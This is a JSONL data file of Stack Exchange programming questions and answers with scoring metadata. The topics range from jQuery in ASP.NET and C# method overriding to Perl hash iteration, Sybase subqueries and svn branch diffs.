{"id": "hf_452ef42c66dd", "question": "<p>Often times when mixing jQuery with asp.net I need to use asp .net angle bracket percent, &lt;% %>, syntax within a  jQuery selector.</p>\n\n<p>If I would like to separate the JavaScript from markup into different files is there still a way to evaluate my JavaScript file so the angle bracket percents are interpolated before reaching the client browser?</p>\n", "question_body": "", "answer": "No, you'll need to refactor your JavaScript to accept that information as parameters.\nSo, instead of\n```\n```\njQuery('#<%=MainPanel.ClientId%>').hide('slow');\n```\n```\ndo something like this:\n```\n```\nfunction hidePanel(panelId) {\n        jQuery('#' + panelId).hide('slow');\n}\n```\n```\nwhich you can call from your page with\n```\n```\nhidePanel('<%=MainPanel.ClientId%>');\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:16.004605"}
{"id": "hf_9f7981e5ef5f", "question": "<p>Short of cutting and pasting, is there a way to sort the methods in my classes in Visual Studio 2008? I like orderly code.</p>\n", "question_body": "", "answer": "You may find or be able to make a macro to do this, but there is no built in functionality of VS to sort your methods. Some third party productivity tools like\nResharper\nand\nCodeRush\nprovide some functionality to reorder your code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:16.064780"}
{"id": "hf_91083996d851", "question": "<p>Our team would like to move from the Visual SourceSafe (VSS) to the Team Foundation Server (TFS). I know that the TFS is much more than just a version control system, but for the first time I would like to use it this way.</p>\n\n<p>Currently our projects are organized within the single solution that consists of the shared part (common library) and many customer projects.</p>\n\n<p>Is there some kind of migration guide that would describe such a challenge? Or TFS enforces its own usage scenarios (versioning of projects, releases, etc.)?</p>\n", "question_body": "", "answer": "TFS and VSS are radically different beasts.\nThat said, the major problems with moving from VSS to TFS is generally in the developer's mind.\nCheck out the following blogs:\nTFS from a VSS User's perspective:\nhttp://blogs.msdn.com/robcaron/archive/2006/10/29/901115.aspx\nAnd of course, the original\nhttp://sstjean.blogspot.com/2006/10/document-from-vss-to-tfs-introduction.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:16.098652"}
{"id": "hf_5bbb324005fd", "question": "<p>You're stepping through C/C++ code and have just called a Win32 API that has failed (typically by returning some unhelpful generic error code, like 0).  Your code doesn't make a subsequent GetLastError() call whose return value you could inspect for further error information.</p>\n\n<p>How can you get the error value without recompiling and reproducing the failure?  Entering \"GetLastError()\" in the Watch window doesn't work (\"syntax error\").</p>\n", "question_body": "", "answer": "```\nERR,hr\n```\nin a watch window usually does the trick", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:16.153775"}
{"id": "hf_db90a4790b0c", "question": "<p>Does anybody know a way with JavaScript or CSS to basically grey out a certain part of a form/div in HTML?</p>\n\n<p>I have a '<em>User Profile</em>' form where I want to disable part of it for a '<em>Non-Premium</em>' member, but want the user to see what is behind the form and place a '<em>Call to Action</em>' on top of it.</p>\n\n<p>Does anybody know an easy way to do this either via CSS or JavaScript?</p>\n\n<p>Edit: I will make sure that the form doesn't work on server side so CSS or JavaScript will suffice.</p>\n", "question_body": "", "answer": "Add this to your HTML:\n```\n```\n<div id=\"darkLayer\" class=\"darkClass\" style=\"display:none\"></div>\n```\n```\nAnd this to your CSS:\n```\n```\n.darkClass\n{\n    background-color: white;\n    filter:alpha(opacity=50); /* IE */\n    opacity: 0.5; /* Safari, Opera */\n    -moz-opacity:0.50; /* FireFox */\n    z-index: 20;\n    height: 100%;\n    width: 100%;\n    background-repeat:no-repeat;\n    background-position:center;\n    position:absolute;\n    top: 0px;\n    left: 0px;\n}\n```\n```\nAnd finally this to turn it off and on with JavaScript:\n```\n```\nfunction dimOff()\n{\n    document.getElementById(\"darkLayer\").style.display = \"none\";\n}\nfunction dimOn()\n{\n    document.getElementById(\"darkLayer\").style.display = \"\";\n}\n```\n```\nChange the dimensions of the darkClass to suite your purposes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:16.199792"}
{"id": "hf_beabe5e55abc", "question": "<p>I'm slowly moving all of my <code>LAMP websites</code> from <code>mysql_</code> functions to <code>PDO</code> functions and I've hit my first brick wall.  I don't know how to loop through results with a parameter.  I am fine with the following:</p>\n\n<pre><code>foreach ($database-&gt;query(\"SELECT * FROM widgets\") as $results)\n{\n   echo $results[\"widget_name\"];\n}\n</code></pre>\n\n<p>However if I want to do something like this:</p>\n\n<pre><code>foreach ($database-&gt;query(\"SELECT * FROM widgets WHERE something='something else'\") as $results)\n{\n   echo $results[\"widget_name\"];\n}\n</code></pre>\n\n<p>Obviously the 'something else' will be dynamic.</p>\n", "question_body": "", "answer": "According to the\nPHP documentation\nis says you should be able to to do the following:\n```\n```\n$sql = \"SELECT * FROM widgets WHERE something='something else'\";\nforeach ($database->query($sql) as $row) {\n   echo $row[\"widget_name\"];\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:16.223729"}
{"id": "hf_5ed919bd8a71", "question": "<p>How do I change the system-wide short date format in Ubuntu?  For example, Thunderbird is showing dates in the DD/MM/YY format, and I would like to change it to MM/DD/YY or YYYY-MM-DD.</p>\n\n<p>The best information I can find so far is in this thread:</p>\n\n<p><a href=\"http://ubuntuforums.org/showthread.php?t=193916\" rel=\"noreferrer\">http://ubuntuforums.org/showthread.php?t=193916</a></p>\n\n<p>Edit: I want to change the system-wide date format, so that all my applications use this new date format.</p>\n", "question_body": "", "answer": "Thunderbird uses the system's date format, and that format depends on the system's locale settings. You have two options:\nmodify the system locale, the instructions are in the forum thread you linked above, or\nset\n```\nLC_TIME\n```\nto a locale that uses the format you want. The\narticle\nlinked by\nCraig H\nsuggests\n```\nen_DK\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:16.283208"}
{"id": "hf_f6f779ed5cc5", "question": "<p>What are differences between declaring a method in a base type \"<code>virtual</code>\" and then overriding it in a child type using the \"<code>override</code>\" keyword as opposed to simply using the \"<code>new</code>\" keyword when declaring the matching method in the child type? </p>\n", "question_body": "", "answer": "The \"new\" keyword doesn't override, it signifies a new method that has nothing to do with the base class method.\n```\n```\npublic class Foo\n{\n     public bool DoSomething() { return false; }\n}\n\npublic class Bar : Foo\n{\n     public new bool DoSomething() { return true; }\n}\n\npublic class Test\n{\n    public static void Main ()\n    {\n        Foo test = new Bar ();\n        Console.WriteLine (test.DoSomething ());\n    }\n}\n```\n```\nThis prints false, if you used override it would have printed true.\n(Base code taken from Joseph Daigle)\nSo, if you are doing real polymorphism you\nSHOULD ALWAYS OVERRIDE\n. The only place where you need to use \"new\" is when the method is not related in any way to the base class version.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:16.308167"}
{"id": "hf_c58283723ee7", "question": "<p>I've done some Python but have just now starting to use Ruby<br>\nI could use a good explanation of the difference between \"self\" in these two languages.  </p>\n\n<p><strong>Obvious on first glance:</strong><br>\nSelf is not a keyword in Python, but there is a \"self-like\" value no matter what you call it.<br>\nPython methods receive self as an explicit argument, whereas Ruby does not.<br>\nRuby sometimes has methods explicitly defined as part of self using dot notation.</p>\n\n<p><strong>Initial Googling reveals</strong><br>\n<a href=\"http://rubylearning.com/satishtalim/ruby_self.html\" rel=\"noreferrer\">http://rubylearning.com/satishtalim/ruby_self.html</a><br>\n<a href=\"http://www.ibiblio.org/g2swap/byteofpython/read/self.html\" rel=\"noreferrer\">http://www.ibiblio.org/g2swap/byteofpython/read/self.html</a>  </p>\n", "question_body": "", "answer": "Well, I don't know much about Ruby. But the obvious point about Python's \"self\" is that it's not a \"keyword\" ...it's just the name of an argument that's sent to your method.\nYou can use any name you like for this argument. \"Self\" is just a convention.\nFor example :\n```\n```\nclass X :\n    def __init__(a,val) :\n        a.x = val\n    def p(b) :\n        print b.x\n\nx = X(6)\nx.p()\n```\n```\nPrints the number 6 on the terminal. In the constructor the self object is actually called a. But in the p() method, it's called b.\nUpdate : In October 2008, Guido pointed out that having an explicit self was also necessary to allow Python decorators to be general enough to work on pure functions, methods or classmethods :\nhttp://neopythonic.blogspot.com/2008/10/why-explicit-self-has-to-stay.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:16.344956"}
{"id": "hf_6eab18b62095", "question": "<p>iMacros is a very nice tool which allows to authomatically fill HTML forms and extract content, includes cycles and many other features. The problem is that it is quite tricky to make it extracting content properly. For example, I have failed to extract all London-to-Tokio flight prices for all the dates between 1/10/08 to 1/12/08 to find a cheapest one from expedia. Sometimes it just crashes. Does anyone know any good alternative?</p>\n", "question_body": "", "answer": "Bah, I installed it but never really used it: I am happy enough with\nGreasemonkey\n.\nChickenfoot\ncan make it more edible...\nSearching for URLs, I found also\nDéjàClick\nand\nSelenium IDE\nbut I don't really know them.\nThere are lot of other tools for Web automation, most of them professional (read \"payware\"...).\nAlternatively, for just data extraction, I would use cURL or wget and a good HTML parser...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:16.369294"}
{"id": "hf_3eaccf43448e", "question": "<p>Following the development of Ruby very closely I learned that detailed character encoding is implemented in Ruby 1.9. My question for now is: How may Ruby be used at the moment to talk to a database that stores all data in UTF8?</p>\n\n<p>Background: I am involved in a new project where Ruby/RoR is at least an option. But the project needs to rely on an internationalized character set (it's spread over many countries), preferably UTF8.</p>\n\n<p>So how do you deal with that? Thanks in advance.</p>\n", "question_body": "", "answer": "Although I haven't tested it, the character-encodings library (currently in alpha) adds methods to the String class to handle UTF-8 and others. Its page on RubyForge is\nhere\n. It is designed for Ruby 1.8.\nIt is my experience, however, that, using Ruby 1.8, if you store data in your database as UTF-8, Ruby will not get in the way as long as your character encoding in the HTTP header is UTF-8. It may not be able to operate on the strings, but it won't break anything. Example:\n```\n```\nfile.txt:\n¡Hola! ¿Como estás? Leí el artículo. ¡Fue muy excellente!\n```\n```\nPardon my poor Spanish; it was the best example of Unicode I could come up with.\n```\n```\nin irb:\nstr = File.read(\"file.txt\")\n   => \"\\302\\241Hola! \\302\\277Como est\\303\\241s? Le\\303\\255 el art\\303\\255culo. \\302\\241Fue muy excellente!\\n\"\nstr += \"Foo is equal to bar.\"\n   => \"\\302\\241Hola! \\302\\277Como est\\303\\241s? Le\\303\\255 el art\\303\\255culo. \\302\\241Fue muy excellente!\\nFoo is equal to bar.\"\nstr = \"    \" + str + \"    \"\n   => \"    \\302\\241Hola! \\302\\277Como est\\303\\241s? Le\\303\\255 el art\\303\\255culo. \\302\\241Fue muy excellente!\\nFoo is equal to bar.    \"\nstr.strip\n   => \"\\302\\241Hola! \\302\\277Como est\\303\\241s? Le\\303\\255 el art\\303\\255culo. \\302\\241Fue muy excellente!\\nFoo is equal to bar.\"\n```\n```\nBasically, it will just treat the UTF-8 as ASCII with odd characters in it. It will not sort lexigraphically if the code points are out of order; however, it will sort by code point. Example:\n```\n```\n\"\\302\" <=> \"\\301\"\n   => -1\n```\n```\nHow much are you planning on operating on the data in the Rails app, anyway? Most sorting etc. is usually done by your database engine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:16.408281"}
{"id": "hf_8019754c06df", "question": "<p>Is there a macro that does it? Which DTE objects to use?</p>\n", "question_body": "", "answer": "I don't know what DTE functions to use, but you could very simply record a macro that could pretty much do it:\nGo to the top of the file\nctrl - shift - R (start recording)\nctrl - I (incremental search)\n{ (search for the first { character).\nF9 (set breakpoint)\nctrl - ] (go to matching } character)\nctrl - shift - R (stop recording)\nNow just run this over and over (ctrl - shift P repeatedly) until you reach the end of the file.\nIf you have namespaces, then change 4. to:\n( (search for \"(\" at the start of the function definition)\nesc (stop incremental search)\nctrl - I (incremental search again)\n{ (start of function body)\nThis kind of thing can be infinitely modified to suit your codebase", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:16.457007"}
{"id": "hf_f7e74d6f5913", "question": "<p>I have been adding dependency injection to my code because it makes by code much easier to Unit test through mocking.</p>\n\n<p>However I am requiring objects higher up my call chain to have knowledge of objects further down the call chain.</p>\n\n<p>Does this break the Law of Demeter? If so does it matter?</p>\n\n<p>for example: a class A has a dependency on an interface B, The implementation of this interface to use is injected into the constructor of class A. Anyone wanting to use class A must now also have a reference to an implementation of B. And can call its methods directly meaning and has knowledge of its sub components (interface B)</p>\n\n<p>Wikipedia says about the law of Demeter:  \"The fundamental notion is that a given object should assume as little as possible about the structure or properties of anything else (including its subcomponents).\"</p>\n", "question_body": "", "answer": "Does it break the law?\nStrictly speaking, I think it does.\nDoes it matter?\nThe main danger of breaking the law is that you make your code more brittle.\nIf you really keep it to just the tests, it seems like that danger is not too bad.\nMitigation\nMy understanding of the\nLaw of Demeter\nis that it can be followed by having \"wrapper methods\" which prevent directly calling down into objects.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:16.497479"}
{"id": "hf_6e9e574195c1", "question": "<p>There are a ton of drivers &amp; famous applications that are not available in 64-bit. Adobe for instance does not provider a 64-bit Flash player plugin for Internet Explorer. And because of that, even though I am running 64-bit Vista, I have to run 32-bit IE. Microsoft Office, Visual Studio also don't ship in 64-bit AFAIK.</p>\n\n<p>Now personally, I haven't had much problems building my applications in 64-bit. I just have to remember a few rules of thumb, e.g. always use SIZE_T instead of UINT32 for string lengths etc.</p>\n\n<p>So my question is, what is preventing people from building for 64-bit?</p>\n", "question_body": "", "answer": "Just a guess, but I would think a large part of it would be support - If Adobe compiles the 64 bit version, they have to support it.  Even though it may be a simple compile switch, they'd still have to run through a lot of testing, etc, followed by training their support staff to respond correctly, when they do run into issues fixing them either results in a new version of the 32 bit binary or a branch in the code, etc.  So while it seems simple, for a large application it can still end up costing a lot.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:16.580607"}
{"id": "hf_5f5594e0f1cc", "question": "<p>How do you change controls' Z-order in MFC <strong>at design time</strong> - i.e. I can't use SetWindowPos or do this at runtime - I want to see the changed z-order in the designer (even if I have to resort to direct-editing the .rc code).</p>\n\n<p>I have an MFC dialog to which I am adding controls.  If there is overlap between the edges of the controls, I want to bring one to the front of the other.  In Windows Forms or WPF, etc. I can Bring to Front, Send to Back, Bring Forward, Send Back.  I don't find these options in MFC, nor can I tell how it determines what is in front, as a control just added is often behind a control that was there previously.  How can I manipulate the Z-order in MFC?  Even if I have to manipulate the .rc file code directly (i.e. end-run around the designer).</p>\n", "question_body": "", "answer": "```\n```\nGetDlgItem(IDC_MYCONTROL)->SetWindowPos(HWND_TOP,\n                                        0, 0, 0, 0,\n                                        SWP_NOMOVE | SWP_NOSIZE);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:16.634381"}
{"id": "hf_1cf5fff4b984", "question": "<p>What is the correct way to implement the \"find as you type\" behavior on a TComboBox descendant component whose style is csOwnerDrawFixed?</p>\n", "question_body": "", "answer": "Use a TTimer (let's call it timIncSearch). Set (at design time) the following properties:\nEnabled:=False;\nInterval:=400; //empirically found - it's the delay used in Windows Explorer\n...and in OnTimer you'll wrote your searching engine. Be sure that the first line here will be timIncSearch.Enabled:=False; Also because you use csOwnerDrawFixed perhaps it's better to enforce a repaint of your control.\nAs an aside, - just guessing because you didn't give us many details - perhaps you must hook OnEnter and OnExit events to custom open and close the DropDown list. (Normaly, this is achieved by setting the AutoDropDown property accordingly)\nIn your ComboBox.KeyPress you'll write\n```\nwith timIncSearch do\nbegin\nEnabled:=False;\nEnabled:=True;\nend;\n```\n...also take care here, perhaps you must have a 'case Key of' construct to handle the #13 separately (or whatever).\nOther hints:\ndepending on your situation, perhaps you must hook (also?) the OnKeyDown (if you want to process special keys like eg. BackSpace, Del, Arrows etc. -\ntaking\nin account that the event repeats itself while the key it's pressed down) and/or OnKeyUp (if you want to do similar processing as above but\nwithout\ntaking in account the keyboard's key auto-repeat feature).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:16.658938"}
{"id": "hf_9f230ba29c8f", "question": "<p>I have a class with both a static and a non-static interface in C#. Is it possible to have a static and a non-static method in a class with the same name and signature?</p>\n\n<p>I get a compiler error when I try to do this, but for some reason I thought there was a way to do this. Am I wrong or is there no way to have both static and non-static methods in the same class?</p>\n\n<p>If this is not possible, is there a good way to implement something like this that can be applied generically to any situation?</p>\n\n<p><strong>EDIT</strong><br>\nFrom the responses I've received, it's clear that there is no way to do this. I'm going with a different naming system to work around this problem.</p>\n", "question_body": "", "answer": "You can call static methods from instance methods without having to specify the type name:\n```\n```\nclass Foo\n{\n    static void Bar()\n    {\n    }\n\n    void Fizz()\n    {\n        Bar();\n    }\n}\n```\n```\n... so it makes sense that you wouldn't be allowed to have a static method and an instance method with the same signature.\nWhat are you trying to accomplish? It's hard to suggest a workaround without knowing specifics. I'd just rename one of the methods.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:16.683655"}
{"id": "hf_aa2b97987a6d", "question": "<p>C# novice here, when the int 'max' below is 0 I get a divide by zero error, I can see why this happens but how should I handle this when max is 0? position is also an int.</p>\n\n<pre><code>    private void SetProgressBar(string text, int position, int max)\n    {\n        try\n        {\n            int percent = (100 * position) / max; //when max is 0 bug hits\n            string txt = text + String.Format(\". {0}%\", percent);\n            SetStatus(txt);\n        }\n        catch\n        {\n        }\n    }\n</code></pre>\n", "question_body": "", "answer": "```\n```\nint percent = 0\nif (max != 0) percent = (100*position) / max\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:16.705595"}
{"id": "hf_a61214716868", "question": "<p>If you have a hash (or reference to a hash) in perl with many dimensions and you want to iterate across all values, what's the best way to do it.  In other words, if we have\n$f->{$x}{$y}, I want something like</p>\n\n<pre><code>foreach ($x, $y) (deep_keys %{$f})\n{\n}\n</code></pre>\n\n<p>instead of </p>\n\n<pre><code>foreach $x (keys %f) \n    {\n    foreach $y (keys %{$f-&gt;{$x}) \n    {\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "It's easy enough if all you want to do is operate on values, but if you want to operate on keys, you need specifications of how levels will be recoverable.\na. For instance, you could specify keys as\n```\n\"$level1_key.$level2_key.$level3_key\"\n```\n--or any separator, representing the levels.\nb. Or you could have a list of keys.\nI recommend the latter.\nLevel can be understood by\n```\n@$key_stack\n```\nand the most local key is\n```\n$key_stack->[-1]\n```\n.\nThe path can be reconstructed by:\n```\njoin( '.', @$key\\_stack )\n```\nCode:\n```\n```\nuse constant EMPTY_ARRAY => [];\nuse strict;    \nuse Scalar::Util qw<reftype>;\n\nsub deep_keys (\\%) { \n    sub deeper_keys { \n        my ( $key_ref, $hash_ref ) = @_;\n        return [ $key_ref, $hash_ref ] if reftype( $hash_ref ) ne 'HASH';\n        my @results;\n\n        while ( my ( $key, $value ) = each %$hash_ref ) { \n            my $k = [ @{ $key_ref || EMPTY_ARRAY }, $key ];\n            push @results, deeper_keys( $k, $value );\n        }\n        return @results;\n    }\n\n    return deeper_keys( undef, shift );\n}\n\nforeach my $kv_pair ( deep_keys %$f ) { \n    my ( $key_stack, $value ) = @_;\n    ...\n}\n```\n```\nThis has been tested in Perl 5.10.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:16.768200"}
{"id": "hf_f39a5c3da408", "question": "<p>I am trying to get the value of some ListViewSubItems, but I have no idea what values it uses for its keys.  I have some simple code:</p>\n\n<pre><code>    protected override void OnItemDrag(ItemDragEventArgs e)\n    {\n        base.OnItemDrag(e);            \n        ListViewItem item = e.Item as ListViewItem;\n        string val = item.SubItems[???].ToString(); \n    }       \n</code></pre>\n\n<p>The ??? part is where I am having a problem.  I cannot figure out what the keys are.  I have tried the column names of the ListView with no luck.  I would like to use this method instead of using numeric indices.  </p>\n", "question_body": "", "answer": "Subitems are only ordered by column index unluckily. So you'd have to access them like:\n```\n```\nprotected override void OnItemDrag(ItemDragEventArgs e)\n{\n    base.OnItemDrag(e);            \n    ListViewItem item = e.Item as ListViewItem;\n    string val = item.SubItems[0].ToString(); \n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:16.828184"}
{"id": "hf_830ce68bb8bb", "question": "<p>I'm trying:</p>\n\n<pre><code>import commands\nprint commands.getoutput(\"ps -u 0\")\n</code></pre>\n\n<p>But it doesn't work on os x.\nos instead of commands gives the same output:\nUSER   PID %CPU %MEM      VSZ    RSS   TT  STAT STARTED      TIME COMMAND</p>\n\n<p>nothing more</p>\n", "question_body": "", "answer": "It works if you use os instead of commands:\n```\n```\nimport os\nprint os.system(\"ps -u 0\")\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:16.900837"}
{"id": "hf_cbecf8c3ff42", "question": "<p>Just that, if you embed an icon:</p>\n\n<pre><code>[Embed(source='icons/checkmark.png')]\nprivate static var CheckMark:Class;\n</code></pre>\n\n<p>You end up with a dynamic class. You can pretty easily assign the icon to a button at runtime by calling the setStyle method:</p>\n\n<pre><code>var btn:Button = new Button();\nbtn.setStyle(\"icon\", CheckMark);\n</code></pre>\n\n<p>But what if you wanted to alter the icon at runtime, like changing it's alpha value or even redrawing pixels, before assigning it to the button?</p>\n\n<p>So far I can't find a satisfactory answer...</p>\n", "question_body": "", "answer": "This is the only answer I could find that seemed close:\nDynamic Icons\n(example with View Source)\nHis solution involves a custom \"DynamicIcon\" class which is used in the button's icon setting, and a custom Button class which adds one method to the Button class to draw dynamic icons.\nThe end result is that you are able to send BitmapData to the DynamicIcon class, which will show up in the button. So, embed your image, instantiate your asset class, get the bitmapasset and modify it however you need to and send the bitmapData to the icon.\nIt's an interesting problem and it seems like there should be an easier solution, but this works without a lot of hassle.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:16.924153"}
{"id": "hf_a491cb19c834", "question": "<p>I am using sybase database to query the daily transaction report. I had subquery within my script. </p>\n\n<p>Here as it goes:</p>\n\n<pre><code>SELECT orders.accountid ,items.x,etc\n(SELECT charges.mistotal FROM charges where items.id = charges.id)\nFROM items,orders\nWHERE date = '2008-10-02'\n</code></pre>\n\n<p>Here I am getting the error message as:</p>\n\n<blockquote>\n  <p><em>Subquery cannot return more than one values</em></p>\n</blockquote>\n\n<p>My values are 7.50, 25.00</p>\n\n<p>I want to return the 25.00, but when I use </p>\n\n<pre><code>(SELECT TOP 1 charges.mistotal FROM charges where items.id = charges.id)\n</code></pre>\n\n<p>My result is 7.50 but I want to return 25.00</p>\n\n<p>Does anyone has any better suggestion?</p>\n", "question_body": "", "answer": "Under what criteria you choose to select the 25.00 instead of the 7.5?\nIf its related to the maximum value, you can try using the\nMAX()\nfunction on that field.\nIf its related to the chronologically last row added, try using the\nMAX()\non the datetime field, if you have details on the hours and minutes it was added.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:17.006949"}
{"id": "hf_67d4772c99ce", "question": "<p>I've been playing with the .NET built in localization features and they seem to all rely on putting data in resx files. </p>\n\n<p>But most systems can't rely on this because they are database driven. So how do you solve this issue? Is there a built in .NET way, or do you create a translations table in SQL and do it all manually?  And if you have to do this on the majority of your sites, is there any reason to even use the resx way of localization?</p>\n\n<p>An example of this is I have an FAQ list on my site, I keep this list in the database so I can easily add/remove more, but by putting it in the database, I have no good way have translating this information into multiple languages.</p>\n", "question_body": "", "answer": "In my opinion, localizing dynamic content (e.g., your FAQ) should be done by you in your database. Depending on how your questions are stored, I would probably create a \"locale\" column and use that when selecting the FAQ questions from the database. I'm not sure if this would scale  very well when you started localizing lots of tables.\nFor static content (e.g, form field labels, static text, icons, etc) you should probably be just fine using file-based resources. If you really wanted to, however, it looks like it wouldn't be super hard to create a custom resource provider implementation that could handle this.\nHere's some related links:\nhttp://channel9.msdn.com/forums/Coffeehouse/250892-Localizing-with-a-database-or-resx-files/\nhttp://weblogs.asp.net/scottgu/archive/2006/05/30/ASP.NET-2.0-Localization-_2800_Video_2C00_-Whitepaper_2C00_-and-Database-Provider-Support_2900_.aspx\nhttp://www.arcencus.nl/Blogs/tabid/105/EntryID/20/Default.aspx\nhttp://msdn.microsoft.com/en-us/library/aa905797.aspx\nhttp://www.codeproject.com/KB/aspnet/customsqlserverprovider.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:17.067080"}
{"id": "hf_a9a367a19640", "question": "<p>In svn, I have a branch which was created, say at revision 22334. Commits were then made on the branch.</p>\n\n<p>How do I get a list of all files that were changed on the branch compared to what's on the trunk? I do not want to see files that were changed on the trunk between when the branch was created and \"now\".</p>\n", "question_body": "", "answer": "This will do it I think:\n```\n```\nsvn diff -r 22334:HEAD --summarize <url of the branch>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:17.092091"}
